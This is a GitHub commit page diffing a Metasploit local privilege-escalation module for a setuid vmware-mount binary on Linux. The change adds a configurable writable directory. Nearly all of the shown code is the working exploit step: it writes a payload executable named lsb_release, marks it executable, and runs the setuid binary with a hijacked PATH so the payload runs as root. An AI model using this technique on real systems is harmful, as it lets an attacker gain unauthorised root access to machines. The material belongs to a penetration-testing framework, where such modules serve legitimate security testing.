Skip to content

Commit 25ecf73

Browse files
author
Rasta Mouse
committed
Add configurable directory, rather than relying on the session working
directory.
1 parent c0be32e commit 25ecf73

File tree

1 file changed

+8
-5
lines changed

1 file changed

+8
-5
lines changed

modules/exploits/linux/local/vmware_mount.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,9 @@ def initialize(info={})
5353
'DisclosureDate' => "Aug 22 2013"
5454
}
5555
))
56+
register_options([
57+
OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ]),
58+
], self.class)
5659
end
5760

5861
def check
@@ -68,13 +71,13 @@ def exploit
6871
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
6972
end
7073

71-
write_file("lsb_release", generate_payload_exe)
72-
73-
cmd_exec("chmod +x lsb_release")
74-
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
74+
path = "#{datastore["WritableDir"]}"
75+
write_file("#{path}/lsb_release", generate_payload_exe)
76+
cmd_exec("chmod +x #{path}/lsb_release")
77+
cmd_exec("PATH=#{path}:$PATH /usr/bin/vmware-mount")
7578
# Delete it here instead of using FileDropper because the original
7679
# session can clean it up
77-
cmd_exec("rm -f lsb_release")
80+
cmd_exec("rm -f #{path}/lsb_release")
7881
end
7982

8083
def setuid?(remote_file)

0 commit comments

Comments
 (0)